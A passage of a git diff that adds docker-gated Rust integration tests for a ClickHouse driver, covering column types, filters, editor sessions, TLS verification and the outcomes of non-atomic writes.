let columns = connection + .fetch_columns(&table, within(CALL)) + .await + .expect("the columns"); + let dialect = connection.dialect(); + let mut builder = StatementBuilder::new(); + builder.push_sql(&format!("SELECT v FROM {} WHERE ", dialect.qualify(&table))); + let filter = FilterSet { + rules: vec![rule], + ..FilterSet::default() + }; + build_filter(&mut builder, dialect.as_ref(), &columns, &filter).expect("a filter"); + builder.push_sql(" ORDER BY v"); + let result = connection + .query_bound(&builder.finish(), RowLimit::EDITOR_DEFAULT, within(CALL)) + .await + .expect("a filtered read"); + result + .rows + .into_iter() + .map(|row| match &row[0] { + Value::Text(text) => text.clone(), + other => format!("{other:?}"), + }) + .collect() +} + +fn rule(op: FilterOp, value: &str) -> FilterRule { + FilterRule { + column: "v".to_owned(), + op, + value: Some(FilterValue::Single(value.to_owned())), + } +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn catalog_classifies_datetime64_decimal76() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let name = unique("catalog"); + setup( + connection.as_ref(), + &[&format!( + "CREATE TABLE {} (id UInt64, ts DateTime64(3, 'UTC'), d Decimal(76, 20), \ + s LowCardinality(Nullable(String)), m Map(String, UInt8)) ENGINE = MergeTree ORDER BY id", + quoted(&name) + )], + ) + .await; + + let columns = connection + .fetch_columns(&table(&name), within(CALL)) + .await + .expect("the columns"); + + let kinds: Vec<&ColumnKind> = columns.iter().map(|column| &column.column_type.kind).collect(); + assert_eq!( + kinds[1], + &ColumnKind::Timestamp { + fractional_digits: Some(3), + zone: TemporalZone::Named("UTC".to_owned()) + } + ); + assert_eq!( + kinds[2], + &ColumnKind::Decimal { + precision: Some(76), + scale: Some(20) + } + ); + assert_eq!( + kinds[3], + &ColumnKind::Text { + length: TextLength::Unbounded + } + ); + assert!(columns[3].nullable && !columns[1].nullable); + assert_eq!(kinds[4], &ColumnKind::Composite); + assert!(columns[0].primary_key); + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn fetch_table_definition_reports_keys_comment_and_source() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let name = unique("definition"); + setup( + connection.as_ref(), + &[&format!( + "CREATE TABLE {} (d Date, id UInt32 COMMENT 'the row', s String MATERIALIZED toString(id), \ + INDEX by_s s TYPE bloom_filter GRANULARITY 1) \ + ENGINE = MergeTree PARTITION BY toYYYYMM(d) ORDER BY (toYYYYMM(d), id)", + quoted(&name) + )], + ) + .await; + + let definition = connection + .fetch_table_definition(&table(&name), within(CALL)) + .await + .expect("the definition"); + let identity = connection + .row_identity(&table(&name), within(CALL)) + .await + .expect("the identity"); + let estimate = connection + .table_estimate(&table(&name), within(CALL)) + .await + .expect("an estimate"); + + let id = definition.column("id").expect("the id column"); + assert_eq!(id.info.comment.as_deref(), Some("the row")); + assert!(id.attributes.key_roles.sorting_key && !id.attributes.key_roles.partition_key); + let d = definition.column("d").expect("the date column"); + assert!(d.attributes.key_roles.sorting_key && d.attributes.key_roles.partition_key); + assert!(definition.column("s").is_some_and(|s| s.info.is_generated)); + assert_eq!( + definition.primary_key.as_ref().map(|key| key.columns.clone()), + Some(vec!["d".to_owned(), "id".to_owned()]) + ); + let sorting = &definition.indexes[0]; + assert!(sorting.primary && !sorting.unique); + assert_eq!( + sorting.keys, + vec![ + IndexKey::Expression { + sql: "toYYYYMM(d)".to_owned(), + descending: false + }, + IndexKey::Column { + name: "id".to_owned(), + descending: false + } + ] + ); + assert!(definition.indexes.iter().any(|index| index.name == "by_s")); + assert!( + definition + .source + .as_ref() + .is_some_and(|source| source.create_statement.starts_with("CREATE TABLE")) + ); + assert_eq!( + identity, + RowIdentity::SortingKey { + expressions: vec!["d".to_owned(), "id".to_owned()] + } + ); + assert_eq!(estimate.rows, RowCountEstimate::Exact(0)); + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn objects_and_schemas_are_listed_by_kind() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let base = unique("base"); + let view = unique("view"); + let function = unique("fn"); + setup( + connection.as_ref(), + &[ + &format!( + "CREATE TABLE {} (id UInt64) ENGINE = MergeTree ORDER BY id", + quoted(&base) + ), + &format!("CREATE VIEW {} AS SELECT id FROM {}", quoted(&view), quoted(&base)), + &format!("CREATE FUNCTION {function} AS (x) -> x + 1"), + ], + ) + .await; + + let objects = connection + .list_objects(&ObjectScope::DefaultSchema, within(CALL)) + .await + .expect("the objects"); + let schemas = connection.list_schemas(within(CALL)).await.expect("the schemas"); + + let kind_of = |name: &str| { + objects + .iter() + .find(|object| object.name == name) + .map(|object| object.kind) + }; + assert_eq!(kind_of(&base), Some(ObjectKind::Table)); + assert_eq!(kind_of(&view), Some(ObjectKind::View)); + assert_eq!(kind_of(&function), Some(ObjectKind::Function)); + assert!( + schemas + .iter() + .any(|schema| schema.name == DATABASE && schema.is_default) + ); + assert!(schemas.iter().any(|schema| schema.name == "system" && schema.is_system)); + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn like_escape_matches_literal_underscore_and_percent() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let name = unique("like"); + let qualified = quoted(&name); + setup( + connection.as_ref(), + &[ + &format!("CREATE TABLE {qualified} (v String) ENGINE = MergeTree ORDER BY v"), + &format!("INSERT INTO {qualified} VALUES ('user_id'), ('userXid'), ('50%'), ('500')"), + ], + ) + .await; + + assert_eq!( + matching(connection.as_ref(), &name, rule(FilterOp::Contains, "user_id")).await, + ["user_id"] + ); + assert_eq!( + matching(connection.as_ref(), &name, rule(FilterOp::Contains, "50%")).await, + ["50%"] + ); + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn clickhouse_ilike_is_case_insensitive() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let name = unique("ilike"); + let qualified = quoted(&name); + setup( + connection.as_ref(), + &[ + &format!("CREATE TABLE {qualified} (v String) ENGINE = MergeTree ORDER BY v"), + &format!("INSERT INTO {qualified} VALUES ('Alpha'), ('beta')"), + ], + ) + .await; + + assert_eq!( + matching(connection.as_ref(), &name, rule(FilterOp::Ilike, "aLP%")).await, + ["Alpha"] + ); + connection.close().await.expect("a close"); +} diff --git a/linux/crates/drivers/clickhouse/tests/integration/sessions.rs b/linux/crates/drivers/clickhouse/tests/integration/sessions.rs new file mode 100644 index 0000000000..44d5711c46 --- /dev/null +++ b/linux/crates/drivers/clickhouse/tests/integration/sessions.rs @@ -0,0 +1,157 @@ +//! Editor sessions: state kept between runs, stops that reach the +//! server, and row limits that stop the read there too. + +use std::time::Duration; + +use tablepro_core::{ResultEvent, RowLimit, RunEnd, RunOptions, Truncation, Value}; +use tokio_util::sync::CancellationToken; + +use crate::support::{connect, count, flush_logs, run, run_ok, run_with, scalar, session, start, text, unique}; + +#[tokio::test] +#[ignore = "requires docker"] +async fn set_and_temporary_table_persist() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let editor = session(connection.as_ref()).await; + + run_ok(editor.as_ref(), "SET max_threads = 3").await; + run_ok(editor.as_ref(), "CREATE TEMPORARY TABLE scratch (x UInt8)").await; + run_ok(editor.as_ref(), "INSERT INTO scratch VALUES (7)").await; + let setting = run_ok(editor.as_ref(), "SELECT getSetting('max_threads')").await; + let rows = run_ok(editor.as_ref(), "SELECT x FROM scratch").await; + + assert_eq!(setting.rows(), vec![vec![Value::Int(3)]]); + assert_eq!(rows.rows(), vec![vec![Value::Int(7)]]); + editor.close().await; + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn sleep_each_row_cancel_gone_from_processes() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let editor = session(connection.as_ref()).await; + let marker = unique("cancel"); + let cancel = CancellationToken::new(); + let sql = format!("SELECT sleepEachRow(0.2), '{marker}' FROM numbers(1000) SETTINGS max_block_size = 1"); + + let running = run_with(editor.as_ref(), &sql, RunOptions::new(cancel.clone())); + let cancelling = async { + tokio::time::sleep(Duration::from_millis(500)).await; + cancel.cancel(); + }; + let ((summary, _), ()) = tokio::join!(running, cancelling); + + assert_eq!(summary.end, RunEnd::Cancelled); + let still = count( + connection.as_ref(), + &format!( + "SELECT count() FROM system.processes WHERE query LIKE '%{marker}%' \ + AND query NOT LIKE '%system.processes%'" + ), + ) + .await; + assert_eq!(still, 0, "the cancelled statement is still running"); + run_ok(editor.as_ref(), "SELECT 1").await; + editor.close().await; + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn numbers_1e9_limit_100_server_stopped_read_rows_far_below() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let editor = session(connection.as_ref()).await; + let marker = unique("limit"); + let limit = RowLimit::new(100).expect("a limit"); + let sql = format!("SELECT number, '{marker}' FROM numbers(1000000000)"); + + let (summary, events) = run_with( + editor.as_ref(), + &sql, + RunOptions::new(CancellationToken::new()).with_row_limit(limit), + ) + .await; + + assert_eq!(summary.end, RunEnd::Completed); + assert_eq!(events.rows().len(), 100); + assert!( + events.all().contains(&ResultEvent::RowLimitReached { retained: 100 }), + "{:?}", + events.finished() + ); + assert!(matches!( + events.finished().as_slice(), + [ResultEvent::ResultSetFinished { + retained: 100, + truncation: Truncation::ReadPastLimit, + .. + }] + )); + flush_logs(connection.as_ref()).await; + let read_rows = scalar( + connection.as_ref(), + &format!( + "SELECT max(read_rows) FROM system.query_log WHERE query LIKE '%{marker}%' \ + AND query NOT LIKE '%query_log%' AND type != 'QueryStart'" + ), + ) + .await + .as_exact_u64() + .expect("a row count"); + assert!( + read_rows < 100_000_000, + "the server read {read_rows} rows for a limit of 100" + ); + editor.close().await; + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn query_log_http_user_agent_contains_tablepro() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let editor = session(connection.as_ref()).await; + let marker = unique("agent"); + + run_ok(editor.as_ref(), &format!("SELECT '{marker}'")).await; + flush_logs(connection.as_ref()).await; + let agent = scalar( + connection.as_ref(), + &format!( + "SELECT any(http_user_agent) FROM system.query_log WHERE query LIKE '%{marker}%' \ + AND query NOT LIKE '%query_log%'" + ), + ) + .await; + + assert!(text(&agent).contains("TablePro/test"), "{agent:?}"); + editor.close().await; + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn a_question_mark_in_editor_sql_is_data() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let editor = session(connection.as_ref()).await; + + let (summary, events) = run(editor.as_ref(), "SELECT 'what?', '??', '?fields'").await; + + assert_eq!(summary.end, RunEnd::Completed); + assert_eq!( + events.rows(), + vec![vec![ + Value::Text("what?".to_owned()), + Value::Text("??".to_owned()), + Value::Text("?fields".to_owned()) + ]] + ); + editor.close().await; + connection.close().await.expect("a close"); +} diff --git a/linux/crates/drivers/clickhouse/tests/integration/support.rs b/linux/crates/drivers/clickhouse/tests/integration/support.rs new file mode 100644 index 0000000000..f07d604865 --- /dev/null +++ b/linux/crates/drivers/clickhouse/tests/integration/support.rs @@ -0,0 +1,267 @@ +//! What the ClickHouse integration modules share: targets over the +//! fixture's ports, one-line calls, and a sink that keeps what it gets. + +use std::sync::{Arc, Mutex, PoisonError}; +use std::time::Duration; + +use async_trait::async_trait; +use drivers_clickhouse::ClickhouseDriver; +use secrecy::SecretString; +use tablepro_core::save::{ChangeSet, plan_save}; +use tablepro_core::statement::{GuardedStatement, Statement, StatementBuilder}; +use tablepro_core::{ + CallOptions, ConnectEnvironment, ConnectOptions, ConnectTarget, Connection, Credentials, DatabaseDriver, + DriverError, EditorSession, EditorSessionOptions, ForeignKeyMode, LivenessPolicy, NetworkEndpoint, NetworkTarget, + ResultEvent, ResultSink, RowLimit, RunEnd, RunOptions, RunSummary, SinkFlow, TableRef, TlsConfig, Transport, + UserSql, Value, WorkspaceSettings, WriteBatch, WriteKind, WriteReport, +}; +use tablepro_net::DirectTcpTransport; +use tablepro_test_fixtures::{ClickHouseFixture, FixtureCredentials}; +use tablepro_test_support::conformance::test_liveness; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +pub const CALL: Duration = Duration::from_secs(30); +pub const DATABASE: &str = "tablepro"; + +pub fn within(limit: Duration) -> CallOptions { + CallOptions::new(Some(Instant::now() + limit), CancellationToken::new()) +} + +pub fn statement(sql: &str) -> Statement { + let mut builder = StatementBuilder::new(); + builder.push_sql(sql); + builder.finish() +} + +/// A name no other test uses, so tests sharing a server never meet. +pub fn unique(prefix: &str) -> String { + let suffix = uuid::Uuid::new_v4().simple().to_string(); + format!("tp_{prefix}_{}", &suffix[..12]) +} + +pub fn quoted(name: &str) -> String { + let mut quoted = String::from("`"); + for character in name.chars() { + if matches!(character, '\\' | '\'' | '`' | '\t' | '\n') { + quoted.push('\\'); + } + quoted.push(character); + } + quoted.push('`'); + quoted +} + +pub fn direct(host: &str, port: u16, liveness: &LivenessPolicy) -> Arc { + let endpoint = NetworkEndpoint::new(host, port).expect("a valid endpoint"); + Arc::new(DirectTcpTransport::new(endpoint, liveness)) +} + +pub fn password(credentials: &FixtureCredentials) -> Credentials { + Credentials::Password { + username: credentials.username.clone(), + password: SecretString::from(credentials.password.clone()), + } +} + +pub fn options_over( + transport: Arc, + credentials: Credentials, + tls: TlsConfig, + settings: WorkspaceSettings, + liveness: LivenessPolicy, +) -> ConnectOptions { + ConnectOptions { + target: ConnectTarget::Network(NetworkTarget { + transport, + credentials, + database: Some(DATABASE.to_owned()), + tls, + }), + workspace_settings: settings, + liveness, + environment: ConnectEnvironment::new("test"), + } +} + +pub fn fixture_options(fixture: &ClickHouseFixture, settings: WorkspaceSettings) -> ConnectOptions { + let liveness = test_liveness(); + options_over( + direct(fixture.host(), fixture.http_port(), &liveness), + password(&fixture.password_credentials()), + TlsConfig::disabled(), + settings, + liveness, + ) +} + +pub async fn start() -> ClickHouseFixture { + ClickHouseFixture::start().await.expect("a ClickHouse container") +} + +pub async fn connect_with(options: ConnectOptions) -> Arc { + ClickhouseDriver + .connect(options, CancellationToken::new()) + .await + .expect("a connection") +} + +pub async fn connect(fixture: &ClickHouseFixture, read_only: bool) -> Arc { + connect_with(fixture_options(fixture, WorkspaceSettings::workspace(read_only))).await +} + +pub fn table(name: &str) -> TableRef { + TableRef::new(Some(DATABASE.to_owned()), name) +} + +/// Run statements as one schema-change batch, for setup. +pub async fn setup(connection: &dyn Connection, statements: &[&str]) { + apply(connection, WriteKind::SchemaChanges, statements) + .await + .expect("the setup statements"); +} + +pub async fn apply( + connection: &dyn Connection, + kind: WriteKind, + statements: &[&str], +) -> Result { + let mut batch = batch(statements); + batch.kind = kind; + connection.write_batch(&batch, within(CALL)).await +} + +/// Row changes, each statement unguarded. +pub fn batch(statements: &[&str]) -> WriteBatch { + let steps = statements + .iter() + .map(|sql| GuardedStatement::unguarded(statement(sql))) + .collect(); + WriteBatch::new( + WriteKind::RowChanges, + TableRef::unqualified("t"), + steps, + ForeignKeyMode::Enforced, + ) +} + +/// The save the grid would plan for `changes` on `table`. +pub async fn planned(connection: &dyn Connection, table: &TableRef, changes: &ChangeSet) -> WriteBatch { + let columns = connection + .fetch_columns(table, within(CALL)) + .await + .expect("the columns"); + let identity = connection + .row_identity(table, within(CALL)) + .await + .expect("the identity"); + let dialect = connection.dialect(); + plan_save(dialect.as_ref(), table, &columns, &identity, changes) + .expect("a planned save") + .batch +} + +pub async fn rows(connection: &dyn Connection, sql: &str) -> Vec> { + connection + .query_bound(&statement(sql), RowLimit::EDITOR_DEFAULT, within(CALL)) + .await + .expect("a read") + .rows +} + +pub async fn scalar(connection: &dyn Connection, sql: &str) -> Value { + rows(connection, sql) + .await + .into_iter() + .next() + .and_then(|row| row.into_iter().next()) + .expect("one value") +} + +pub async fn count(connection: &dyn Connection, sql: &str) -> u64 { + scalar(connection, sql).await.as_exact_u64().expect("a count") +} + +/// Run on the server's own control path, for what the tests check +/// behind the driver's back (query_log, mutations, KILL). +pub async fn admin(connection: &dyn Connection, sql: &str) -> Events { + let session = session(connection).await; + let events = run_ok(session.as_ref(), sql).await; + session.close().await; + events +} + +pub async fn flush_logs(connection: &dyn Connection) { + admin(connection, "SYSTEM FLUSH LOGS").await; +} + +pub async fn session(connection: &dyn Connection) -> Arc { + connection + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await + .expect("an editor session") +} + +/// The events of one run, kept after the sink is gone. +#[derive(Debug, Clone, Default)] +pub struct Events(Arc>>); + +impl Events { + pub fn all(&self) -> Vec { + self.0.lock().unwrap_or_else(PoisonError::into_inner).clone() + } + + pub fn rows(&self) -> Vec> { + self.all() + .into_iter() + .filter_map(|event| match event { + ResultEvent::Rows(rows) => Some(rows), + _ => None, + }) + .flatten() + .collect() + } + + pub fn finished(&self) -> Vec { + self.all() + .into_iter() + .filter(|event| matches!(event, ResultEvent::ResultSetFinished { .. })) + .collect() + } +} + +struct EventSink(Events); + +#[async_trait] +impl ResultSink for EventSink { + async fn accept(&mut self, event: ResultEvent) -> SinkFlow { + self.0.0.lock().unwrap_or_else(PoisonError::into_inner).push(event); + SinkFlow::Continue + } +} + +pub async fn run_with(session: &dyn EditorSession, sql: &str, options: RunOptions) -> (RunSummary, Events) { + let events = Events::default(); + let summary = session + .run(UserSql::new(sql), options, Box::new(EventSink(events.clone()))) + .await + .expect("the session ran the statement"); + (summary, events) +} + +pub async fn run(session: &dyn EditorSession, sql: &str) -> (RunSummary, Events) { + run_with(session, sql, RunOptions::new(CancellationToken::new())).await +} + +pub async fn run_ok(session: &dyn EditorSession, sql: &str) -> Events { + let (summary, events) = run(session, sql).await; + assert_eq!(summary.end, RunEnd::Completed, "`{sql}` did not complete"); + events +} + +pub fn text(value: &Value) -> String { + match value { + Value::Text(text) => text.clone(), + other => tablepro_core::export::value_to_text(other).unwrap_or_default(), + } +} diff --git a/linux/crates/drivers/clickhouse/tests/integration/tls.rs b/linux/crates/drivers/clickhouse/tests/integration/tls.rs new file mode 100644 index 0000000000..7dabe21826 --- /dev/null +++ b/linux/crates/drivers/clickhouse/tests/integration/tls.rs @@ -0,0 +1,203 @@ +//! The TLS conformance suite against ClickHouse's HTTPS port, and the +//! TLS cases only an HTTP engine has. + +use std::path::{Path, PathBuf}; +use std::sync::Arc; + +use async_trait::async_trait; +use drivers_clickhouse::ClickhouseDriver; +use secrecy::SecretString; +use tablepro_core::{ + ClientIdentity, ConnectOptions, Credentials, DatabaseDriver, DriverError, ErrorCategory, TlsConfig, TlsFailure, + TlsMode, WorkspaceSettings, +}; +use tablepro_test_fixtures::{ClickHouseFixture, PkiFile, TestPki}; +use tablepro_test_support::conformance::{ + ClientIdentityEngine, ConformanceFailure, TlsConformanceEngine, test_liveness, +}; +use tokio_util::sync::CancellationToken; + +use crate::support::{CALL, direct, options_over, password, start, within}; + +pub struct ClickHouseTlsEngine { + fixture: ClickHouseFixture, + ca: PathBuf, + unrelated_ca: PathBuf, +} + +impl ClickHouseTlsEngine { + fn options(&self, port: u16, credentials: Credentials, tls: TlsConfig) -> ConnectOptions { + let liveness = test_liveness(); + options_over( + direct(self.fixture.host(), port, &liveness), + credentials, + tls, + WorkspaceSettings::workspace(false), + liveness, + ) + } +} + +#[async_trait] +impl TlsConformanceEngine for ClickHouseTlsEngine { + fn driver() -> Arc { + Arc::new(ClickhouseDriver) + } + + async fn start() -> Result { + let fixture = ClickHouseFixture::start().await.map_err(ConformanceFailure::setup)?; + let ca = fixture.pki().path(PkiFile::Ca); + let unrelated_ca = fixture.pki().path(PkiFile::UnrelatedCa); + Ok(Self { + fixture, + ca, + unrelated_ca, + }) + } + + fn connect_options(&self, tls: TlsConfig) -> ConnectOptions { + self.options( + self.fixture.https_port(), + password(&self.fixture.password_credentials()), + tls, + ) + } + + fn ca_file(&self) -> &Path { + &self.ca + } + + fn unrelated_ca_file(&self) -> &Path { + &self.unrelated_ca + } + + fn served_name(&self) -> &str { + TestPki::SERVER_NAMES[1] + } + + /// Plain HTTP to the HTTPS port fails the server's handshake, and it + /// closes the connection without an HTTP answer. + fn plaintext_rejection_category(&self) -> ErrorCategory { + ErrorCategory::ConnectionLost + } +} + +impl ClientIdentityEngine for ClickHouseTlsEngine { + fn client_identity(&self) -> ClientIdentity { + ClientIdentity { + certificate: self.fixture.pki().path(PkiFile::ClientCertificate), + key: self.fixture.pki().path(PkiFile::ClientKey), + } + } + + fn certificate_connect_options(&self, tls: TlsConfig) -> ConnectOptions { + let credentials = self.fixture.certificate_credentials(); + self.options( + self.fixture.https_port(), + Credentials::Password { + username: credentials.username, + password: SecretString::from(credentials.password), + }, + tls, + ) + } +} + +mod suite { + use super::ClickHouseTlsEngine; + + tablepro_test_support::tls_conformance_suite! { + engine: ClickHouseTlsEngine, + client_identity: true, + } +} + +fn verify_full(ca: &Path, server_name: &str) -> TlsConfig { + TlsConfig { + mode: TlsMode::VerifyFull, + ca_file: Some(ca.to_owned()), + client_identity: None, + server_name: Some(server_name.to_owned()), + } +} + +async fn connect(options: ConnectOptions) -> Result, DriverError> { + ClickhouseDriver.connect(options, CancellationToken::new()).await +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn https_verify_full_ok() { + let fixture = start().await; + let liveness = test_liveness(); + let options = options_over( + direct(fixture.host(), fixture.https_port(), &liveness), + password(&fixture.password_credentials()), + verify_full(&fixture.pki().path(PkiFile::Ca), TestPki::SERVER_NAMES[1]), + WorkspaceSettings::workspace(false), + liveness, + ); + + let connection = connect(options).await.expect("a verified connection"); + + connection + .probe(within(CALL)) + .await + .expect("the server answers over TLS"); + assert!(connection.server_info().version.starts_with("25.")); + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn name_mismatch() { + let fixture = start().await; + let liveness = test_liveness(); + let options = options_over( + direct(fixture.host(), fixture.https_port(), &liveness), + password(&fixture.password_credentials()), + verify_full(&fixture.pki().path(PkiFile::Ca), "wrong.tablepro.test"), + WorkspaceSettings::workspace(false), + liveness, + ); + + let outcome = connect(options).await; + + assert!( + matches!( + outcome, + Err(DriverError::Tls { + failure: TlsFailure::NameMismatch, + .. + }) + ), + "a certificate for another name gave {:?}", + outcome.err() + ); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn http_port_with_https_server_refused() { + let fixture = start().await; + let liveness = test_liveness(); + let tls = TlsConfig { + mode: TlsMode::Require, + ..TlsConfig::disabled() + }; + let options = options_over( + direct(fixture.host(), fixture.http_port(), &liveness), + password(&fixture.password_credentials()), + tls, + WorkspaceSettings::workspace(false), + liveness, + ); + + let outcome = connect(options).await; + + assert!( + matches!(&outcome, Err(error) if error.category() == ErrorCategory::Tls), + "TLS to the plain HTTP port gave {:?}", + outcome.err() + ); +} diff --git a/linux/crates/drivers/clickhouse/tests/integration/writes.rs b/linux/crates/drivers/clickhouse/tests/integration/writes.rs new file mode 100644 index 0000000000..97162172cd --- /dev/null +++ b/linux/crates/drivers/clickhouse/tests/integration/writes.rs @@ -0,0 +1,438 @@ +//! Saves on an engine whose writes are neither atomic nor stoppable, and +//! what the query log says about one whose answer never arrived. + +use std::time::Duration; + +use tablepro_core::save::{ChangeSet, RowUpdate}; +use tablepro_core::{ + CommitResolution, CommitToken, Connection, DriverError, ReadOnlyRefusal, RunEnd, ServerCode, StatementOutcome, + Value, WriteKind, +}; +use tokio::time::Instant; + +use crate::support::{ + CALL, DATABASE, admin, apply, batch, connect, count, flush_logs, planned, quoted, run, scalar, session, setup, + start, table, text, unique, within, +}; + +/// A mutation that takes seconds on a small table, so it cannot finish +/// inside a short deadline yet does not fill the disk. +fn slow_update(qualified: &str) -> String { + format!( + "ALTER TABLE {qualified} UPDATE s = toString(arraySum(arrayMap(x -> cityHash64(x, n), range(1500)))) WHERE 1" + ) +} + +async fn slow_table(connection: &dyn Connection, name: &str) -> String { + let qualified = quoted(name); + setup( + connection, + &[&format!( + "CREATE TABLE {qualified} ENGINE = MergeTree ORDER BY n \ + AS SELECT number AS n, toString(number) AS s FROM numbers(1000000)" + )], + ) + .await; + qualified +} + +async fn resolution(connection: &dyn Connection, token: &CommitToken) -> CommitResolution { + connection + .resolve_commit(token, within(CALL)) + .await + .expect("a resolution") +} + +async fn logged_query_id(connection: &dyn Connection, filter: &str) -> uuid::Uuid { + flush_logs(connection).await; + let id = scalar( + connection, + &format!("SELECT query_id FROM system.query_log WHERE event_date >= today() - 1 AND {filter} LIMIT 1"), + ) + .await; + text(&id).parse().expect("a query id") +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn duplicate_sorting_key_edit_sends_no_mutation_row_guard_failed() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let name = unique("duplicates"); + let qualified = quoted(&name); + setup( + connection.as_ref(), + &[ + &format!("CREATE TABLE {qualified} (id Int32, v String) ENGINE = MergeTree ORDER BY id"), + &format!("INSERT INTO {qualified} VALUES (1, 'a'), (1, 'b')"), + ], + ) + .await; + let mutations = format!("SELECT count() FROM system.mutations WHERE database = '{DATABASE}' AND table = '{name}'"); + let before = count(connection.as_ref(), &mutations).await; + + let changes = ChangeSet { + updates: vec![RowUpdate { + key: vec![Value::Int(1)], + assignments: vec![(1, Value::Text("x".to_owned()))], + }], + ..ChangeSet::default() + }; + let batch = planned(connection.as_ref(), &table(&name), &changes).await; + let outcome = connection.write_batch(&batch, within(CALL)).await; + + assert_eq!( + outcome, + Err(DriverError::RowGuardFailed { + statement_index: 0, + expected: 1, + actual: 2 + }) + ); + assert_eq!( + count(connection.as_ref(), &mutations).await, + before, + "a mutation was sent" + ); + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn three_inserts_second_fails_partially_applied_applied_1() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let qualified = quoted(&unique("partial")); + setup( + connection.as_ref(), + &[&format!( + "CREATE TABLE {qualified} (id Int32) ENGINE = MergeTree ORDER BY id" + )], + ) + .await; + + let outcome = apply( + connection.as_ref(), + WriteKind::RowChanges, + &[ + &format!("INSERT INTO {qualified} VALUES (1)"), + &format!("INSERT INTO {qualified} (id, missing) VALUES (2, 0)"), + &format!("INSERT INTO {qualified} VALUES (3)"), + ], + ) + .await; + + assert!( + matches!( + outcome, + Err(DriverError::PartiallyApplied { + applied: 1, + statement_index: 1, + failed_outcome: StatementOutcome::Failed, + .. + }) + ), + "{outcome:?}" + ); + assert_eq!( + count(connection.as_ref(), &format!("SELECT count() FROM {qualified}")).await, + 1 + ); + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn write_statements_never_carry_max_execution_time() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let name = unique("unbounded"); + let qualified = quoted(&name); + setup( + connection.as_ref(), + &[ + &format!("CREATE TABLE {qualified} (id Int32, v String) ENGINE = MergeTree ORDER BY id"), + &format!("INSERT INTO {qualified} VALUES (1, 'a')"), + ], + ) + .await; + let changes = ChangeSet { + updates: vec![RowUpdate { + key: vec![Value::Int(1)], + assignments: vec![(1, Value::Text("b".to_owned()))], + }], + ..ChangeSet::default() + }; + let batch = planned(connection.as_ref(), &table(&name), &changes).await; + connection.write_batch(&batch, within(CALL)).await.expect("the edit"); + + flush_logs(connection.as_ref()).await; + let bounded = count( + connection.as_ref(), + &format!( + "SELECT count() FROM system.query_log WHERE query_kind = 'Alter' \ + AND has(tables, '{DATABASE}.{name}') AND toUInt64OrZero(Settings['max_execution_time']) > 0" + ), + ) + .await; + let altered = count( + connection.as_ref(), + &format!( + "SELECT count() FROM system.query_log WHERE query_kind = 'Alter' \ + AND type = 'QueryFinish' AND has(tables, '{DATABASE}.{name}')" + ), + ) + .await; + let killed = count( + connection.as_ref(), + "SELECT count() FROM system.query_log WHERE query ILIKE 'KILL QUERY%'", + ) + .await; + assert_eq!((altered, bounded, killed), (1, 0, 0)); + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn alter_update_deadline_commit_outcome_unknown_resolves_still_running_then_applied() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let qualified = slow_table(connection.as_ref(), &unique("deadline")).await; + + let outcome = connection + .write_batch(&batch(&[&slow_update(&qualified)]), within(Duration::from_secs(1))) + .await; + + let Err(DriverError::CommitOutcomeUnknown { token: Some(token), .. }) = outcome else { + panic!("a mutation past its deadline gave {outcome:?}"); + }; + assert_eq!( + resolution(connection.as_ref(), &token).await, + CommitResolution::StillRunning + ); + let give_up = Instant::now() + Duration::from_secs(120); + loop { + match resolution(connection.as_ref(), &token).await { + CommitResolution::Applied => break, + CommitResolution::StillRunning if Instant::now() < give_up => { + tokio::time::sleep(Duration::from_millis(500)).await; + } + other => panic!("the mutation resolved as {other:?}"), + } + } + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn alter_update_killed_by_other_session_is_unknown_not_cancelled() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let name = unique("killed"); + let qualified = slow_table(connection.as_ref(), &name).await; + + let writing = { + let connection = connection.clone(); + let update = slow_update(&qualified); + tokio::spawn(async move { connection.write_batch(&batch(&[&update]), within(CALL)).await }) + }; + let monitor = session(connection.as_ref()).await; + let find = format!( + "SELECT query_id FROM system.processes WHERE query LIKE 'ALTER TABLE%{name}%' \ + AND query NOT LIKE '%system.processes%'" + ); + let give_up = Instant::now() + Duration::from_secs(10); + let query_id = loop { + let (_, events) = run(monitor.as_ref(), &find).await; + if let Some(row) = events.rows().into_iter().next() { + break text(&row[0]); + } + assert!( + Instant::now() < give_up, + "the ALTER never showed up in system.processes" + ); + tokio::time::sleep(Duration::from_millis(100)).await; + }; + admin( + connection.as_ref(), + &format!("KILL QUERY WHERE query_id = '{query_id}' SYNC"), + ) + .await; + + let outcome = writing.await.expect("the write task"); + let 